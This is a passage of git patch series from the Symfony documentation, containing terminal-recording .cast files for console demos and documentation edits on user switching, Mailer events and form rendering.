+            --theme 18202a,f9fafb,f9fafb,ff7b72,7ee787,ffa657,79c0ff,d2a8ff,a5d6ff,f9fafb,8b949e,ff7b72,00c300,ffa657,79c0ff,d2a8ff,a5d6ff,f9fafb --line-height 1.6 \
+            --font-family 'JetBrains Mono' \
+            $extra_options \
+            $recording $(echo $recording | sed "s/cast/gif/")
+        ;;
+esac
diff --git a/_images/sources/components/console/completion.cast b/_images/sources/components/console/completion.cast
new file mode 100644
index 00000000000..c268863e9b0
--- /dev/null
+++ b/_images/sources/components/console/completion.cast
@@ -0,0 +1,37 @@
+{"version": 2, "width": 76, "height": 30, "timestamp": 1663253713, "env": {"SHELL": "/usr/bin/fish", "TERM": "st-256color"}}
+[0.00798, "o", "\u001b[?2004h\u001b[90m$ \u001b[0m"]
+[0.614685, "o", "b"]
+[0.776549, "o", "i"]
+[0.86682, "o", "n"]
+[1.092426, "o", "/"]
+[1.332671, "o", "c"]
+[1.55068, "o", "o"]
+[1.630651, "o", "n"]
+[1.784584, "o", "s"]
+[1.873108, "o", "o"]
+[2.074652, "o", "l"]
+[2.180433, "o", "e"]
+[2.260475, "o", " "]
+[2.696628, "o", "\u0007"]
+[2.947263, "o", "\r\nabout                       debug:event-dispatcher\r\nassets:install              debug:router\r\ncache:clear                 help\r\ncache:pool:clear            lint:container\r\ncache:pool:delete           lint:yaml\r\ncache:pool:list             list\r\ncache:pool:prune            router:match\r\ncache:warmup                secrets:decrypt-to-local\r\ncompletion                  secrets:encrypt-from-local\r\nconfig:dump-reference       secrets:generate-keys\r\ndebug:autowiring            secrets:list\r\ndebug:config                secrets:remove\r\ndebug:container             secrets:set\r\ndebug:dotenv                \r\n\u001b[37m$ \u001b[0mbin/console "]
+[3.614479, "o", "s"]
+[3.802449, "o", "e"]
+[4.205631, "o", "\u0007crets:"]
+[4.520435, "o", "r"]
+[4.598031, "o", "e"]
+[5.026287, "o", "move "]
+[5.47041, "o", "\u0007SOME_"]
+[5.673941, "o", "\u0007"]
+[6.024086, "o", "\r\nSOME_OTHER_SECRET  SOME_SECRET        \r\n\u001b[37m$ \u001b[0mbin/console secrets:remove SOME_"]
+[6.770627, "o", "O"]
+[7.14335, "o", "THER_SECRET "]
+[7.724482, "o", "\r\n\u001b[?2004l\r"]
+[7.776657, "o", "\r\n"]
+[7.779108, "o", "\u001b[30;42m                                                                            \u001b[39;49m\r\n\u001b[30;42m [OK] Secret \"SOME_OTHER_SECRET\" removed from \"config/secrets/dev/\".        \u001b[39;49m\r\n\u001b[30;42m                                                                            \u001b[39;49m\r\n\r\n"]
+[7.782993, "o", "\u001b[?2004h\u001b[37m$ \u001b[0m"]
+[9.214537, "o", "e"]
+[9.522429, "o", "x"]
+[9.690371, "o", "i"]
+[9.85446, "o", "t"]
+[10.292412, "o", "\r\n\u001b[?2004l\r"]
+[10.292526, "o", "exit\r\n"]
diff --git a/_images/sources/components/console/cursor.cast b/_images/sources/components/console/cursor.cast
new file mode 100644
index 00000000000..be2f2f6c351
--- /dev/null
+++ b/_images/sources/components/console/cursor.cast
@@ -0,0 +1,49 @@
+{"version": 2, "width": 191, "height": 30, "timestamp": 1663251833, "env": {"SHELL": "/usr/bin/fish", "TERM": "st-256color"}}
+[0.007941, "o", "\u001b[?2004h\u001b[90m$ \u001b[0m"]
+[0.566363, "o", "c"]
+[0.643353, "o", "l"]
+[0.762325, "o", "e"]
+[0.952363, "o", "a"]
+[0.995878, "o", "r"]
+[1.107784, "o", "\r\n\u001b[?2004l\r"]
+[1.109766, "o", "\u001b[H\u001b[2J"]
+[1.109946, "o", "\u001b[?2004h\u001b[30m$ \u001b[0m"]
+[1.653461, "o", "p"]
+[1.772323, "o", "h"]
+[1.856444, "o", "p"]
+[1.980339, "o", " "]
+[2.15827, "o", "c"]
+[2.273242, "o", "u"]
+[2.402231, "o", "r"]
+[2.563066, "o", "s"]
+[2.760266, "o", "o"]
+[2.900252, "o", "r"]
+[3.020537, "o", "."]
+[3.316404, "o", "p"]
+[3.403213, "o", "h"]
+[3.483391, "o", "p"]
+[3.820273, "o", "\r\n\u001b[?2004l\r"]
+[3.845697, "o", "\u001b[6;9H#"]
+[4.045942, "o", "\u001b[8;9H#"]
+[4.246327, "o", "\u001b[8;2H#####"]
+[4.446737, "o", "\u001b[2;9H#######"]
+[4.647128, "o", "\u001b[7;7H#"]
+[4.84749, "o", "\u001b[3;9H#"]
+[5.047857, "o", "\u001b[7;9H#"]
+[5.248246, "o", "\u001b[4;9H#"]
+[5.448622, "o", "\u001b[2;2H#####"]
+[5.648999, "o", "\u001b[3;7H#"]
+[5.849378, "o", "\u001b[5;9H#####"]
+[6.049711, "o", "\u001b[3;1H#"]
+[6.250118, "o", "\u001b[7;1H#"]
+[6.45056, "o", "\u001b[5;2H#####"]
+[6.650897, "o", "\u001b[4;1H#"]
+[6.851281, "o", "\u001b[6;7H#"]
+[7.051644, "o", "\u001b[9;1H"]
+[7.058802, "o", "\u001b[?2004h\u001b[30m$ \u001b[0m"]
+[7.657612, "o", "e"]
+[7.846956, "o", "x"]
+[7.949451, "o", "i"]
+[8.0893, "o", "t"]
+[8.201144, "o", "\r\n\u001b[?2004l\r"]
+[8.201227, "o", "exit\r\n"]
diff --git a/_images/sources/components/console/progress.cast b/_images/sources/components/console/progress.cast
new file mode 100644
index 00000000000..9c5244b37e2
--- /dev/null
+++ b/_images/sources/components/console/progress.cast
@@ -0,0 +1,57 @@
+{"version": 2, "width": 191, "height": 17, "timestamp": 1663423221, "env": {"SHELL": "/usr/bin/fish", "TERM": "st-256color"}}
+[0.008171, "o", "\u001b[?2004h\u001b[90m$ \u001b[0m"]
+[0.385858, "o", "p"]
+[0.577979, "o", "h"]
+[0.768282, "o", "p"]
+[0.96433, "o", " "]
+[1.133645, "o", "p"]
+[1.262693, "o", "r"]
+[1.385832, "o", "o"]
+[1.476876, "o", "g"]
+[1.652322, "o", "r"]
+[1.722357, "o", "e"]
+[1.935395, "o", "s"]
+[2.083915, "o", "s"]
+[2.200109, "o", "."]
+[2.403686, "o", "p"]
+[2.510201, "o", "h"]
+[2.602756, "o", "p"]
+[2.909974, "o", "\r\n\u001b[?2004l\r"]
+[2.935647, "o", "\u001b[34m Starting the demo... fingers crossed  \u001b[39m\r\n 0/15  \u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m    0%\r\n   < 1 sec                       4.0 MiB"]
+[3.418022, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"]
+[3.419196, "o", "\u001b[34m Starting the demo... fingers crossed  \u001b[39m\r\n 2/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   13%\r\n   < 1 sec                       6.0 MiB"]
+[3.66102, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G"]
+[3.661071, "o", "\u001b[2K"]
+[3.661731, "o", "\u001b[34m Starting the demo... fingers crossed  \u001b[39m\r\n 3/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   20%\r\n   5 secs                        6.0 MiB"]
+[4.143554, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"]
+[4.14385, "o", "\u001b[34m Starting the demo... fingers crossed  \u001b[39m\r\n 5/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   33%\r\n   3 secs                        6.5 MiB"]
+[4.385367, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"]
+[4.38612, "o", "\u001b[34m Looks good to me...                   \u001b[39m\r\n 6/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   40%\r\n   3 secs                        7.1 MiB"]
+[4.868053, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"]
+[4.86852, "o", "\u001b[34m Looks good to me...                   \u001b[39m\r\n 8/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   53%\r\n   4 secs                        8.1 MiB"]
+[5.110341, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"]
+[5.11133, "o", "\u001b[34m Looks good to me...                   \u001b[39m\r\n 9/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   60%\r\n   3 secs                        8.6 MiB"]
+[5.593851, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G"]
+[5.593924, "o", "\u001b[2K"]
+[5.594818, "o", "\u001b[34m Looks good to me...                   \u001b[39m\r\n11/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   73%\r\n   4 secs                        9.6 MiB"]
+[5.836301, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"]
+[5.836831, "o", "\u001b[34m Looks good to me...                   \u001b[39m\r\n12/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m\u001b[41m \u001b[49m   80%\r\n   4 secs                       10.1 MiB"]
+[6.31877, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K\u001b[1A"]
+[6.318814, "o", "\u001b[1G\u001b[2K"]
+[6.319403, "o", "\u001b[34m Looks good to me...                   \u001b[39m\r\n14/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[32;41m\u001b[39;49m\u001b[41m \u001b[49m   93%\r\n   3 secs                       11.1 MiB"]
+[6.561359, "o", "\u001b[1G\u001b[2K\u001b[1A"]
+[6.561561, "o", "\u001b[1G\u001b[2K\u001b[1A\u001b[1G\u001b[2K"]
+[6.562504, "o", "\u001b[34m Looks good to me...                   \u001b[39m\r\n15/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m  100%\r\n   4 secs                       11.6 MiB"]
+[6.563772, "o", "\u001b[1G"]
+[6.563824, "o", "\u001b[2K\u001b[1A"]
+[6.563875, "o", "\u001b[1G\u001b[2K"]
+[6.563926, "o", "\u001b[1A\u001b[1G\u001b[2K"]
+[6.564766, "o", "\u001b[34m Thanks bye!                           \u001b[39m\r\n15/15  \u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m\u001b[42m \u001b[49m  100%\r\n   4 secs                       11.6 MiB"]
+[6.564805, "o", "\r\n\r\n"]
+[6.570516, "o", "\u001b[?2004h"]
+[6.570537, "o", "\u001b[90m$ \u001b[0m"]
+[8.441927, "o", "e"]
+[8.646449, "o", "x"]
+[8.76668, "o", "i"]
+[8.897799, "o", "t"]
+[9.091614, "o", "\r\n\u001b[?2004l\rexit\r\n"]
diff --git a/components/console/helpers/debug_formatter.rst b/components/console/helpers/debug_formatter.rst
index 89609da8419..e824fac89a2 100644
--- a/components/console/helpers/debug_formatter.rst
+++ b/components/console/helpers/debug_formatter.rst
@@ -7,8 +7,8 @@ Debug Formatter Helper
 The :class:`Symfony\\Component\\Console\\Helper\\DebugFormatterHelper` provides
 functions to output debug information when running an external program, for
 instance a process or HTTP request. For example, if you used it to output
-the results of running ``ls -la`` on a UNIX system, it might output something
-like this:
+the results of running ``figlet symfony``, it might output something like
+this:
 
 .. image:: /_images/components/console/debug_formatter.png
    :align: center

From 76d20c24b21a34fb49e463d7abfc8812143f1a3a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 19 Sep 2022 17:53:02 +0200
Subject: [PATCH 2315/5766] Minor tweak

---
 console.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/console.rst b/console.rst
index a766c24c117..76c2d9cfa58 100644
--- a/console.rst
+++ b/console.rst
@@ -109,7 +109,6 @@ want a command to create a user::
     use Symfony\Component\Console\Output\OutputInterface;
 
     // the name of the command is what users type after "php bin/console"
-    // and it replaces the static $defaultName
     #[AsCommand(name: 'app:create-user')]
     class CreateUserCommand extends Command
     {

From 90dc3c8a720a3f2e61a044fe750c50b36b945868 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 21 Jul 2022 09:24:50 +0200
Subject: [PATCH 2316/5766] [Security] Allow configuring a target url when
 switching user

---
 security/impersonating_user.rst | 61 +++++++++++++++++++++++++++++++++
 1 file changed, 61 insertions(+)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 3219802edb7..b51a96d6fec 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -244,6 +244,67 @@ also adjust the query parameter name via the ``parameter`` setting:
             ;
         };
 
+Redirecting to a Specific Target Route
+--------------------------------------
+
+.. versionadded:: 6.2
+
+    The ``target_route`` configuration option was introduced in Symfony 6.2.
+
+.. note::
+
+    It works only in a stateful firewall.
+
+This feature allows you to control the redirection target route via ``target_route``.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    switch_user: { target_route: app_user_dashboard }
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <switch-user target-route="app_user_dashboard"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->switchUser()
+                    ->targetRoute('app_user_dashboard')
+            ;
+        };
+
 Limiting User Switching
 -----------------------
 

From 5c545bde2803daf619d7a113b39529311e4f9226 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Mon, 15 Aug 2022 10:15:09 +0200
Subject: [PATCH 2317/5766] [Mailer] add new events

---
 mailer.rst | 83 +++++++++++++++++++++++++++++++++++++++++++++---------
 1 file changed, 70 insertions(+), 13 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 3fb19c3d1ec..d0aded6375f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1410,6 +1410,8 @@ Mailer Events
 MessageEvent
 ~~~~~~~~~~~~
 
+**Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent`
+
 ``MessageEvent`` allows to change the Message and the Envelope before the email
 is sent::
 
@@ -1417,26 +1419,81 @@ is sent::
     use Symfony\Component\Mailer\Event\MessageEvent;
     use Symfony\Component\Mime\Email;
 
-    class MailerSubscriber implements EventSubscriberInterface
+    public function onMessage(MessageEvent $event): void
     {
-        public static function getSubscribedEvents()
-        {
-            return [
-                MessageEvent::class => 'onMessage',
-            ];
+        $message = $event->getMessage();
+        if (!$message instanceof Email) {
+            return;
         }
+        // do something with the message
+    }
 
-        public function onMessage(MessageEvent $event): void
-        {
-            $message = $event->getMessage();
-            if (!$message instanceof Email) {
-                return;
-            }
+Execute this command to find out which listeners are registered for this event and
+their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\MessageEvent"
+
+SentMessageEvent
+~~~~~~~~~~~~
+
+**Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\SentMessageEvent`
+
+``SentMessageEvent`` it allows you to act on the :class:`Symfony\\Component\\\Mailer\\\SentMessage` to access the original 
+message (getOriginalMessage()) and some debugging information (getDebug()) such as 
+the HTTP calls made by the HTTP transports, which is useful for debugging errors::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Mailer\Event\SentMessageEvent;
+    use Symfony\Component\Mailer\SentMessage;
 
-            // do something with the message
+    public function onMessage(SentMessageEvent $event): void
+    {
+        $message = $event->getMessage();
+        if (!$message instanceof SentMessage) {
+            return;
         }
+
+        // do something with the message
+    }
+
+Execute this command to find out which listeners are registered for this event and
+their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\SentMessageEvent"
+
+FailedMessageEvent
+~~~~~~~~~~~~
+
+**Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\FailedMessageEvent`
+
+``FailedMessageEvent`` it allows acting on the the initial message in case of a failure::
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Mailer\Event\FailedMessageEvent;
+
+    public function onMessage(FailedMessageEvent $event): void
+    {
+        // e.g you can get more information on this error when sending an email.
+        $event->getError();
+        
+        // do something with the message
     }
 
+Execute this command to find out which listeners are registered for this event and
+their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\FailedMessageEvent"
+
+.. versionadded:: 6.2
+
+    ``SentMessageEvent`` and ``FailedMessageEvent`` were introduced in Symfony 6.2.
+
 Development & Debugging
 -----------------------
 

From 2870f49408045f120d90ecaa7655c68b1b9a56d7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Sep 2022 11:38:12 +0200
Subject: [PATCH 2318/5766] Minor tweaks

---
 mailer.rst | 39 ++++++++++++++++++++++-----------------
 1 file changed, 22 insertions(+), 17 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index d0aded6375f..cd388d0ff46 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1428,21 +1428,26 @@ is sent::
         // do something with the message
     }
 
-Execute this command to find out which listeners are registered for this event and
-their priorities:
+Execute this command to find out which listeners are registered for this event
+and their priorities:
 
 .. code-block:: terminal
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\MessageEvent"
 
 SentMessageEvent
-~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~
 
 **Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\SentMessageEvent`
 
-``SentMessageEvent`` it allows you to act on the :class:`Symfony\\Component\\\Mailer\\\SentMessage` to access the original 
-message (getOriginalMessage()) and some debugging information (getDebug()) such as 
-the HTTP calls made by the HTTP transports, which is useful for debugging errors::
+.. versionadded:: 6.2
+
+    The ``SentMessageEvent`` event was introduced in Symfony 6.2.
+
+``SentMessageEvent`` allows you to act on the :class:`Symfony\\Component\\\Mailer\\\SentMessage`
+class to access the original message (``getOriginalMessage()``) and some debugging
+information (``getDebug()``) such as the HTTP calls made by the HTTP transports,
+which is useful for debugging errors::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\SentMessageEvent;
@@ -1458,42 +1463,42 @@ the HTTP calls made by the HTTP transports, which is useful for debugging errors
         // do something with the message
     }
 
-Execute this command to find out which listeners are registered for this event and
-their priorities:
+Execute this command to find out which listeners are registered for this event
+and their priorities:
 
 .. code-block:: terminal
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\SentMessageEvent"
 
 FailedMessageEvent
-~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~
 
 **Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\FailedMessageEvent`
 
-``FailedMessageEvent`` it allows acting on the the initial message in case of a failure::
+.. versionadded:: 6.2
+
+    The ``FailedMessageEvent`` event was introduced in Symfony 6.2.
+
+``FailedMessageEvent`` allows acting on the the initial message in case of a failure::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\FailedMessageEvent;
 
     public function onMessage(FailedMessageEvent $event): void
     {
-        // e.g you can get more information on this error when sending an email.
+        // e.g you can get more information on this error when sending an email
         $event->getError();
         
         // do something with the message
     }
 
-Execute this command to find out which listeners are registered for this event and
-their priorities:
+Execute this command to find out which listeners are registered for this event
+and their priorities:
 
 .. code-block:: terminal
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\FailedMessageEvent"
 
-.. versionadded:: 6.2
-
-    ``SentMessageEvent`` and ``FailedMessageEvent`` were introduced in Symfony 6.2.
-
 Development & Debugging
 -----------------------
 

From 0c39faf0d78bf25afbaf424b4b19adc7f5ebf24c Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Thu, 7 Jul 2022 15:25:28 +0200
Subject: [PATCH 2319/5766] Deprecate `renderForm()`

---
 form/form_customization.rst |  4 ++--
 forms.rst                   | 26 +++++++++++++++++++-------
 2 files changed, 21 insertions(+), 9 deletions(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 738ac6a947e..8024e7ae96e 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -20,8 +20,8 @@ enough to render an entire form, including all its fields and error messages:
 
 .. code-block:: twig
 
-    {# form is a variable passed from the controller via either
-      $this->renderForm('...', ['form' => $form])
+    {# form is a variable passed from the controller via
+      $this->render('...', ['form' => $form])
